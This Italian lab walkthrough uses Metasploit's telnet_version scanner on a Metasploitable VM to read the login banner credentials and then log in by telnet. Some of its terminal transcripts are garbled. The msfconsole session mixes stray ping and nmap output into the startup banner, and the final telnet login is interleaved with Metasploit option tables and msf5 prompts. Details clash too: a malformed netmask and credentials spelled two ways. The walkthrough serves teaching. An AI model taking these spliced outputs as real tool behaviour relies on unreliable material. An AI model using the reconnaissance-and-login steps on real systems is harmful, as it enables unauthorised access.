

Exploit Telnet con Metasploit

Da Kali, utilizzerò Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo ausiliare *telnet_version* sulla macchina Metasploitable.

Quello che andrò a fare, dunque, sarà un exploit, ovvero un codice malevolo che sfrutta una vulnerabilità già presente all'interno di un software.

Va precisato che, quando si agisce su un software, l'exploit deve essere specifico per quel programma e per la versione dello stesso; al massimo potrebbe funzionare per le versioni precedenti.

Affinché l'exploit vada a segno, il software target deve essere attivo, ovvero deve risultare tra i processi.

L'azione di exploiting si divide in 3 fasi:

- nella prima fase si crea una connessione dall'attaccante verso il target sfruttando una vulnerabilità;
- nella seconda fase si inietta un payload, ovvero un file nocivo che ci permette di realizzare un ponte tra l'attaccante e il target;
- tale ponte, chiamato shell, va a costituire la terza fase.

Ci sono due tipi di shell:

- shell reverse, ovvero quando il payload crea la connessione dal target verso l'attaccante;
- shell bind, ovvero quando il payload crea la connessione dall'attaccante verso il target.

Inoltre, la tipologia di shell è già implicita all'interno del payload che si andrà ad utilizzare.

La shell reverse è la più utilizzata visto che, consentendo connessioni dall'interno verso l'esterno, evita problemi con il firewall, il quale blocca le connessioni che provengono da fuori della LAN.

La bind può essere usata, invece, quando stiamo già all'interno della rete, o se il firewall è a filtraggio statico (dato che quest'ultimo controlla il traffico di rete in base a regole configurate dall'amministratore e non

blocca ciò che proviene dall'esterno), oppure se, peggio ancora, non ha un firewall.

Un exploit può essere:

- manuale, quando si usano dei siti che contengono già dei codici malevoli (CVE, ExploitDB). In pratica, scarico il codice e poi con Netcat lo uso sul target. C'è da dire che l'exploit manuale è consigliato farlo solo su una rete di piccole dimensioni, dato che richiederebbe molto tempo;
- automatico, quando si va ad utilizzare un software (Metasploit).

Metasploit è infatti un framework di sicurezza open source che viene utilizzato per testare le vulnerabilità di rete e sviluppare exploit.

Il suo nome è composto da *Meterpreter* (programma che ci aiuta a creare in maniera automatica la shell) ed *Exploit*.

Gli script presenti all'interno di Metasploit prendono il nome di moduli e possono essere di due tipi:

- moduli normali, che quasi sempre hanno a che fare con un payload;
- moduli ausiliari, all'interno dei quali quasi mai si setta un payload, e posseggono informazioni aggiuntive.

La vulnerabilità che sfrutterò sarà relativa, per l'appunto, a Telnet. Quest'ultimo è un protocollo di rete che consente agli utenti di accedere e gestire in remoto i dispositivi di rete su internet.

Comincio con il trovare l'indirizzo IP del target

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4a:ad:67
          inet addr:192.168.1.149  Bcast:192.168.50.255  Mask:255.255.255
          inet6 addr: fe80::a00:27ff:fe4a:ad67/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12178 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9215 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1116383 (1.0 MB)  TX bytes:1299497 (1.2 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:319 errors:0 dropped:0 overruns:0 frame:0
          TX packets:319 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:154893 (151.2 KB)  TX bytes:154893 (151.2 KB)
```

Poi controllo se l'attaccante riesce a raggiungerlo

```
(natalino@kali)-[~]  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=5.40 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=11.4 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.789 ms  
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=15.0 ms  
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=1.27 ms  
^C  
— 192.168.1.149 ping statistics —  
5 packets transmitted, 5 received, 0% packet loss, time 4253ms  
rtt min/avg/max/mdev = 0.789/6.772/14.984/5.603 ms
```

Faccio una scansione con Nmap

```
(natalino@kali)-[~]  
$ nmap -A -T4 192.168.1.149  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 12:58 CET  
Nmap scan report for METASPLOITABLE.station (192.168.1.149)  
Host is up (0.013s latency).  
Not shown: 978 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)  
|_ftp-syst:  
|_STAT:  
|_FTP server status:  
|_  Connected to 192.168.1.9  
|_  Logged in as ftp  
|_  TYPE: ASCII  
|_  No session bandwidth limit  
|_  Session timeout in seconds is 300  
|_  Control connection is plain text  
|_  Data connections will be plain text  
|_  vsFTPD 2.3.4 - secure, fast, stable  
|_End of status  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
|_ssh-hostkey:  
|_  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)  
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
|_ssl-date: 2023-11-07T09:25:04+00:00; -2h35m28s from scanner time.  
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX  
|_Not valid before: 2010-03-17T14:07:45  
|_Not valid after: 2010-04-16T14:07:45  
|_sslv2:  
|_  SSLv2 supported  
|_  ciphers:  
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5  
|_    SSL2_RC4_128_EXPORT40_WITH_MD5  
|_    SSL2_RC4_128_WITH_MD5  
|_    SSL2_RC2_128_CBC_WITH_MD5  
|_    SSL2_DES_64_CBC_WITH_MD5  
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5  
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
```

Avvio Metasploit

```
(natalino@kali)-[~]
$ msfconsole
msf6 (root) > ping 192.168.1.149 (192.168.1.149) 56(64) bytes of data:
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.40 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=0.11 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=64 time=0.789 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=64 time=15.0 ms
64 bytes from 192.168.1.1: icmp_seq=5 ttl=64 time=1.27 ms
--- 192.168.1.1: 5 pings: 0.40ms, 0.11ms, 0.789ms, 15.0ms, 1.27ms,
    min=0.11ms, max=15.0ms, avg=3.94ms, sdev=5.83ms
msf6 (root) > nmap -sA -T1 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 12:58 CET
Nmap scan report for 192.168.1.149
Host is up (0.0000s latency).
Not shown: 655 unreachables
PORT      STATE SERVICE
22/tcp    OPEN  SSH
80/tcp    OPEN  HTTP
443/tcp   OPEN  HTTPS
5000/tcp  OPEN  HTTP
6443/tcp  OPEN  HTTPS
8080/tcp  OPEN  HTTP
9090/tcp  OPEN  HTTP
msf6 (root) >
https://metasploit.com

=[ metasploit v6.3.27-dev ]
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --[ 1385 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

ed effettuo il mio exploit utilizzando un modulo ausiliario

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s); see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.149	yes	The target host(s); see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
```

```
[*] 192.168.1.149:23 -> 192.168.1.149:23 TELNET
[*] 192.168.1.149:23 -> Wba
[*] 192.168.1.149:23 -> WbaWbaWarning: Never expose this VM to an untrusted network!WbaWbaContact: msfdev[at]metasploit.comWbaWbaLogin with msfdmim/msfdmim to get startedWbaWbaWbaX@metasploitable login:
[*] 192.168.1.149:23 -> Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Infine controllo se le credenziali che ho carpito sono corrette

```
(natalino@kali)-[~] https://metasploit.com
$ telnet 192.168.1.149
Trying 192.168.1.149 ...
Connected to 192.168.1.149.
Escape character is '^]'.
1220 auxiliary - 413 post
1385 payloads - 46 encoders - 11 post
9 auxiliary

msf5 (kali) (192.168.1.149) >
Metasploit Documentation: https://docs.metasploit.com/

msf5 > use auxiliary/scanner/telnet/telnet_version
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com telnet/telnet_version()

Login with msfadmin/msfadmin to get started

msf5 auxiliary/scanner/telnet/telnet_version (192.168.1.149) >
PASSWORD no The password for the specified username
metasploitable login: msfadmin es The target host(s), see https://docs.m
Password: 23 yes The target port (TCP)
Last login: Tue Nov 7 03:33:29 EST 2023 from kali.station on pts/1 reads (max on
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
USERNAME no The username to authenticate as
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
msf5 auxiliary/scanner/telnet/telnet_version (192.168.1.149) > show options
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/ry/scanner/telnet/telnet_version()
No mail.
msfadmin@metasploitable:~$
```